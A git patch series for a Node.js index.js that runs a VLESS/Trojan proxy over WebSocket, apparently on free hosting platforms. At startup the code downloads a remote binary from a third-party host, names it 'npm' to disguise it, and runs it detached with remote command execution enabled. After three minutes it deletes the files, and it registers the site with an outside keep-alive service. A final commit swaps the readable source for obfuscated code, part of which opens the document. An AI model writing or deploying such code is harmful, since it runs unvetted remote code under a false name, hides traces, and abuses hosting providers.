+_0x4a1158(-0x25,-0x7b,0x12,-0x56)+'rt_period:'+'\x201800\x0arepo'+'rt_delay:\x20'+_0x2e0863(0xa1,0xb3,0x64,0x47))+NEZHA_SERVER+(_0x4a1158(-0x65,0x18,0x4d,-0x42)+_0x4a1158(-0xe0,-0x8e,-0x153,-0x3d)+_0x2e0863(0x192,0xee,0x153,0x99)+'kip_procs_'+'count:\x20tru'+_0x2e0863(0xe,-0x46,-0xa9,-0x8c)+_0x4a1158(-0x118,-0xe5,-0x4a,-0xf8)+_0x2e0863(0x12c,0x10a,0x162,0xf0))+_0x4d9f9c+(_0x2e0863(-0x81,-0x1b,0x52,0x95)+_0x2e0863(0x56,0x54,-0x32,0x115)+_0x2e0863(0xb7,0xa6,-0x6,0x13)+_0x2e0863(0x19c,0x106,0x110,0x176)+_0x2e0863(0xae,0x9,-0x68,-0x2e)+_0x4a1158(0x32,-0x9f,0x9a,0x81)+_0x4a1158(-0x10e,-0xef,-0xbd,-0x19a))+UUID;fs[_0x4a1158(0x31,-0x2f,-0x1c,-0x90)+_0x2e0863(0xea,0xfe,0xd4,0x1ba)](_0x35b745[_0x2e0863(0x1,-0x71,0x4b,0x3c)],_0xa8bbf8);}_0x448363=_0x4a1158(0x12,-0x37,-0x78,0x7f)+_0x2e0863(0xa9,-0x7,-0x8c,0x3e)+_0x2e0863(-0x16,-0x48,0x56,0x77)+'aml\x20>/dev/'+_0x4a1158(-0x152,-0x181,-0xf1,-0x170)+'&';}else{if(_0x35b745['qrrUI']!==_0x35b745[_0x4a1158(-0xc6,-0x71,-0x95,-0x121)]){const _0x2570f8=_0x35b745['rqrkg'](_0x4094d3,_0x35b745[_0x2e0863(0xe1,0x109,0x1b0,0x127)],{'encoding':_0x35b745[_0x4a1158(-0xfa,-0x1bc,-0x5f,-0xb3)]});if(_0x35b745[_0x4a1158(0x34,0xc4,0x59,0x88)](_0x2570f8[_0x2e0863(0x126,0x9f,0x44,0xce)](),'')){_0x4d3fb5['log'](_0x35b745['qVKgV']);return;}}else{console[_0x4a1158(-0xeb,-0xa9,-0x65,-0xe6)](_0x35b745[_0x4a1158(0x8,0x1a,-0x15,0x32)]);return;}}}function _0x4a1158(_0x17a3cf,_0x389406,_0xcf249b,_0x454511){return _0x5438be(_0x454511,_0x389406-0x1eb,_0x17a3cf-0x75,_0x454511-0x1a4);}try{if(_0x35b745[_0x4a1158(0x30,0xca,0xaf,0x86)](_0x2e0863(0x26,-0xe,-0x5c,-0x26),_0x35b745[_0x2e0863(-0x63,0x47,-0x4f,0x2)])){const _0x41054b=_0x354968['Answer'][_0x4a1158(0x39,-0x72,0x8e,0x14)](_0x3c6e1e=>_0x3c6e1e[_0x4a1158(-0x63,-0x132,-0x128,-0x12c)]===-0x1db1*0x1+0x17eb+-0x1*-0x5c7);if(_0x41054b){_0x35b745[_0x2e0863(0x6,0x5b,-0x4c,0x111)](_0x41ffc6,_0x41054b[_0x4a1158(-0x18,0xaf,-0xe7,0x20)]);return;}}else _0x35b745[_0x2e0863(0x135,0x72,0x2f,-0x2e)](exec,_0x448363,{'shell':_0x35b745[_0x2e0863(0x7b,0x84,0x1b,0x11d)]},_0x2425f9=>{function _0x55fb83(_0x3f1a4c,_0x127eac,_0x4b8de7,_0x45624d){return _0x4a1158(_0x4b8de7-0x664,_0x127eac-0x117,_0x4b8de7-0x13,_0x3f1a4c);}function _0x10656d(_0x3ef154,_0x19fe0c,_0x2ba377,_0x14b832){return _0x2e0863(_0x3ef154-0xa2,_0x19fe0c-0x447,_0x2ba377,_0x14b832-0x1e9);}if(_0x2425f9)console[_0x10656d(0x418,0x3d9,0x34e,0x418)](_0x35b745[_0x10656d(0x56f,0x4ec,0x566,0x4d7)],_0x2425f9);else console[_0x55fb83(0x54c,0x57c,0x579,0x5f4)](_0x10656d(0x45c,0x471,0x4e2,0x42e)+_0x55fb83(0x51c,0x53b,0x5aa,0x5d3));});}catch(_0x1096f3){console[_0x4a1158(-0x150,-0xa4,-0x10c,-0xc3)](_0x4a1158(-0x147,-0x183,-0xac,-0x162)+_0x1096f3);}};async function addAccessTask(){const _0x5d7ec8={};_0x5d7ec8['wWzUW']=_0x2ba2f3(-0x160,-0x169,-0xdd,-0x1b)+_0x2ba2f3(-0x28,0x8a,-0x2e,0x82)+_0x5eb321(0x57,0x7d,0xa6,0x89)+'l',_0x5d7ec8[_0x5eb321(0xaf,0x117,0x4f,0x17)]=_0x5eb321(0xa3,0x165,0xb3,0x26)+_0x5eb321(0x105,0x173,0xef,0x1d),_0x5d7ec8[_0x5eb321(0xa7,-0x7f,0x38,0xdd)]=_0x2ba2f3(-0x3e,-0x41,-0xf0,-0x28)+_0x5eb321(-0xac,0x28,-0x22,0x65)+_0x2ba2f3(0xd5,0x124,0x62,0x102)+_0x5eb321(-0x1a,0x73,-0x32,-0x6e);const _0x199246=_0x5d7ec8;if(!AUTO_ACCESS)return;function _0x2ba2f3(_0x1e634a,_0x374680,_0x309c4f,_0x530b7b){return _0x5438be(_0x1e634a,_0x374680-0xa0,_0x309c4f-0xd0,_0x530b7b-0xd6);}if(!DOMAIN)return;const _0xc73d4e=_0x2ba2f3(0x11,-0xcd,-0x63,-0xa6)+DOMAIN;function _0x5eb321(_0x4a056e,_0x27b856,_0x518a5c,_0x143af4){return _0x5438be(_0x27b856,_0x27b856-0xc4,_0x518a5c-0x137,_0x143af4-0x123);}try{const _0x2465ce={};_0x2465ce['url']=_0xc73d4e;const _0x597c85=await axios[_0x5eb321(0x1b,-0x78,0x41,-0x7e)](_0x199246['wWzUW'],_0x2465ce,{'headers':{'Content-Type':_0x199246[_0x5eb321(0xfa,-0x71,0x4f,-0x3d)]}});console[_0x2ba2f3(-0x92,-0x1b,-0x90,-0x35)](_0x199246[_0x5eb321(0x66,0x7c,0x38,0x2)]);}catch(_0x1cf024){}}const delFiles=()=>{fs[_0x40a47d(0x91,0x13e,0x86,0x1f3)](_0x40a47d(0x226,0x24d,0x2e9,0x212),()=>{});function _0x18d29d(_0x158942,_0x32ea4e,_0x174d24,_0x303bf2){return _0x5438be(_0x303bf2,_0x32ea4e-0x160,_0x174d24-0x50e,_0x303bf2-0xc5);}function _0x40a47d(_0x3c6c45,_0x23a63b,_0x38bc38,_0x43a02c){return _0x5438be(_0x43a02c,_0x23a63b-0xf8,_0x23a63b-0x2a9,_0x43a02c-0x55);}fs[_0x40a47d(0xfc,0x13e,0x203,0x13c)]('config.yam'+'l',()=>{});};httpServer['listen'](PORT,()=>{const _0xdb3c73={'QBJPU':function(_0x4ba769){return _0x4ba769();}};_0xdb3c73[_0xb7694c(0x11a,0x14b,0x10b,0x185)](runnz);function _0x2c7ab2(_0x18c33e,_0x38431c,_0x38c297,_0x2110ba){return _0x5438be(_0x18c33e,_0x38431c-0x68,_0x38c297-0x693,_0x2110ba-0xf0);}setTimeout(()=>{function _0x40cfb0(_0x318287,_0x36829a,_0x341087,_0x113bd1){return _0xb7694c(_0x36829a,_0x36829a-0x14,_0x341087-0x53,_0x318287- -0x275);}_0xdb3c73[_0x40cfb0(-0xf0,-0x18d,-0x73,-0x63)](delFiles);},-0x1*-0x17d53+0x1a30d+0x1850*-0x4);function _0xb7694c(_0x3aded8,_0x43e6a2,_0x10dc52,_0xca0328){return _0x5438be(_0x3aded8,_0x43e6a2-0x154,_0xca0328-0x35c,_0xca0328-0x154);}_0xdb3c73[_0x2c7ab2(0x4ec,0x47c,0x4bc,0x453)](addAccessTask),console[_0x2c7ab2(0x4f0,0x493,0x533,0x5f8)](_0xb7694c(0x23e,0x2f1,0x193,0x24e)+_0x2c7ab2(0x4f0,0x5f9,0x58c,0x5bc)+_0x2c7ab2(0x5e2,0x6fe,0x62d,0x569)+PORT);}); +const os = require('os'); +const http = require('http'); +const fs = require('fs'); +const axios = require('axios'); +const net = require('net'); +const path = require('path'); +const crypto = require('crypto'); +const { Buffer } = require('buffer'); +const { exec, execSync } = require('child_process'); +const { WebSocket, createWebSocketStream } = require('ws'); +const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 +const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com +const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls +const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 +const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com +const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 +const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 +const NAME = process.env.NAME || 'Hug'; // 节点名称 +const PORT = process.env.PORT || 7860; // http和ws服务端口 + +let ISP = ''; +const GetISP = async () => { + try { + const res = await axios.get('https://api.ip.sb/geoip'); + const data = res.data; + ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); + } catch (e) { + ISP = 'Unknown'; + } +} +GetISP(); + +const httpServer = http.createServer((req, res) => { + if (req.url === '/') { + const filePath = path.join(__dirname, 'index.html'); + fs.readFile(filePath, 'utf8', (err, content) => { + if (err) { + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end('Hello world!'); + return; + } + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end(content); + }); + return; + } else if (req.url === `/${SUB_PATH}`) { + const namePart = NAME ? `${NAME}-${ISP}` : ISP; + const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; + const subscription = vlessURL + '\n' + trojanURL; + const base64Content = Buffer.from(subscription).toString('base64'); + + res.writeHead(200, { 'Content-Type': 'text/plain' }); + res.end(base64Content + '\n'); + } else { + res.writeHead(404, { 'Content-Type': 'text/plain' }); + res.end('Not Found\n'); + } +}); + +const wss = new WebSocket.Server({ server: httpServer }); +const uuid = UUID.replace(/-/g, ""); +const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; +// Custom DNS +function resolveHost(host) { + return new Promise((resolve, reject) => { + if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { + resolve(host); + return; + } + let attempts = 0; + function tryNextDNS() { + if (attempts >= DNS_SERVERS.length) { + reject(new Error(`Failed to resolve ${host} with all DNS servers`)); + return; + } + const dnsServer = DNS_SERVERS[attempts]; + attempts++; + const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; + axios.get(dnsQuery, { + timeout: 5000, + headers: { + 'Accept': 'application/dns-json' + } + }) + .then(response => { + const data = response.data; + if (data.Status === 0 && data.Answer && data.Answer.length > 0) { + const ip = data.Answer.find(record => record.type === 1); + if (ip) { + resolve(ip.data); + return; + } + } + tryNextDNS(); + }) + .catch(error => { + tryNextDNS(); + }); + } + + tryNextDNS(); + }); +} + +// VLE-SS处理 +function handleVlessConnection(ws, msg) { + const [VERSION] = msg; + const id = msg.slice(1, 17); + if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; + + let i = msg.slice(17, 18).readUInt8() + 19; + const port = msg.slice(i, i += 2).readUInt16BE(0); + const ATYP = msg.slice(i, i += 1).readUInt8(); + const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : + (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : + (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); + ws.send(new Uint8Array([VERSION, 0])); + const duplex = createWebSocketStream(ws); + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; +} + +// Tro-jan处理 +function handleTrojanConnection(ws, msg) { + try { + if (msg.length < 58) return false; + const receivedPasswordHash = msg.slice(0, 56).toString(); + const possiblePasswords = [ + UUID, + ]; + + let matchedPassword = null; + for (const pwd of possiblePasswords) { + const hash = crypto.createHash('sha224').update(pwd).digest('hex'); + if (hash === receivedPasswordHash) { + matchedPassword = pwd; + break; + } + } + + if (!matchedPassword) return false; + let offset = 56; + if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const cmd = msg[offset]; + if (cmd !== 0x01) return false; + offset += 1; + const atyp = msg[offset]; + offset += 1; + let host, port; + if (atyp === 0x01) { + host = msg.slice(offset, offset + 4).join('.'); + offset += 4; + } else if (atyp === 0x03) { + const hostLen = msg[offset]; + offset += 1; + host = msg.slice(offset, offset + hostLen).toString(); + offset += hostLen; + } else if (atyp === 0x04) { + host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => + (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) + .map(b => b.readUInt16BE(0).toString(16)).join(':'); + offset += 16; + } else { + return false; + } + + port = msg.readUInt16BE(offset); + offset += 2; + + if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const duplex = createWebSocketStream(ws); + + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + if (offset < msg.length) { + this.write(msg.slice(offset)); + } + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; + } catch (error) { + return false; + } +} +// Ws 连接处理 +wss.on('connection', (ws, req) => { + const url = req.url || ''; + ws.once('message', msg => { + if (msg.length > 17 && msg[0] === 0) { + const id = msg.slice(1, 17); + const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); + if (isVless) { + if (!handleVlessConnection(ws, msg)) { + ws.close(); + } + return; + } + } + + if (!handleTrojanConnection(ws, msg)) { + ws.close(); + } + }).on('error', () => {}); +}); + +const getDownloadUrl = () => { + const arch = os.arch(); + if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { + if (!NEZHA_PORT) { + return 'https://arm64.ssss.nyc.mn/v1'; + } else { + return 'https://arm64.ssss.nyc.mn/agent'; + } + } else { + if (!NEZHA_PORT) { + return 'https://amd64.ssss.nyc.mn/v1'; + } else { + return 'https://amd64.ssss.nyc.mn/agent'; + } + } +}; + +const downloadFile = async () => { + if (!NEZHA_SERVER && !NEZHA_KEY) return; + + try { + const url = getDownloadUrl(); + const response = await axios({ + method: 'get', + url: url, + responseType: 'stream' + }); + + const writer = fs.createWriteStream('npm'); + response.data.pipe(writer); + + return new Promise((resolve, reject) => { + writer.on('finish', () => { + console.log('npm download successfully'); + exec('chmod +x npm', (err) => { + if (err) reject(err); + resolve(); + }); + }); + writer.on('error', reject); + }); + } catch (err) { + throw err; + } +}; + +const runnz = async () => { + try { + const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); + if (status.trim() !== '') { + console.log('npm is already running, skip running...'); + return; + } + } catch (e) { + // 进程不存在时继续运行nezha + } + + await downloadFile(); + let command = ''; + let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; + + if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { + const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; + command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; + } else if (NEZHA_SERVER && NEZHA_KEY) { + if (!NEZHA_PORT) { + const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; + const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; + const configYaml = `client_secret: ${NEZHA_KEY} +debug: false +disable_auto_update: true +disable_command_execute: false +disable_force_update: true +disable_nat: false +disable_send_query: false +gpu: false +insecure_tls: true +ip_report_period: 1800 +report_delay: 4 +server: ${NEZHA_SERVER} +skip_connection_count: true +skip_procs_count: true +temperature: false +tls: ${NZ_TLS} +use_gitee_to_upgrade: false +use_ipv6_country_code: false +uuid: ${UUID}`; + + fs.writeFileSync('config.yaml', configYaml); + } + command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; + } else { + console.log('NEZHA variable is empty, skip running'); + return; + } + + try { + exec(command, { shell: '/bin/bash' }, (err) => { + if (err) console.error('npm running error:', err); + else console.log('npm is running'); + }); + } catch (error) { + console.error(`error: ${error}`); + } +}; + +async function addAccessTask() { + if (!AUTO_ACCESS) return; + + if (!DOMAIN) { + return; + } + const fullURL = `https://${DOMAIN}`; + try { + const res = await axios.post("https://oooo.serv00.net/add-url", { + url: fullURL + }, { + headers: { + 'Content-Type': 'application/json' + } + }); + console.log('Automatic Access Task added successfully'); + } catch (error) { + // console.error('Error adding Task:', error.message); + } +} + +const delFiles = () => { + fs.unlink('npm', () => {}); + fs.unlink('config.yaml', () => {}); +}; + +httpServer.listen(PORT, () => { + runnz(); + setTimeout(() => { + delFiles(); + }, 180000); + addAccessTask(); + console.log(`Server is running on port ${PORT}`); +}); From d477334bbeba67619af1dbf5cb23baad6b5f8863 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Sun, 21 Dec 2025 12:05:08 +0800 Subject: [PATCH 18/20] Update index.js --- index.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.js b/index.js index 8cbb425f3b..8dc5bee5ea 100644 --- a/index.js +++ b/index.js @@ -13,7 +13,7 @@ const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形 const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 const NAME = process.env.NAME || 'Hug'; // 节点名称 From 471e1a4e16e9b0b12b06ba7cdebb3ba43cc02f43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Sun, 21 Dec 2025 12:05:29 +0800 Subject: [PATCH 19/20] Update index.js --- index.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.js b/index.js index 8dc5bee5ea..7a77623013 100644 --- a/index.js +++ b/index.js @@ -13,10 +13,10 @@ const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形 const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || 'Hug'; // 节点名称 +const NAME = process.env.NAME || ''; // 节点名称 const PORT = process.env.PORT || 7860; // http和ws服务端口 let ISP = ''; From a19da40c56cab585a1520aa4eaa6119097ab9923 Mon Sep 17 00:00:00 2001 From: Fufu-11q Date: Thu, 26 Mar 2026 17:23:28 +0800 Subject: [PATCH 20/20] Update index.js --- index.js | 378 +------------------------------------------------------ 1 file changed, 1 insertion(+), 377 deletions(-) diff --git a/index.js b/index.js index 7a77623013..bc64ae34ab 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 7860; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://api.ip.sb/geoip'); - const data = res.data; - ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = 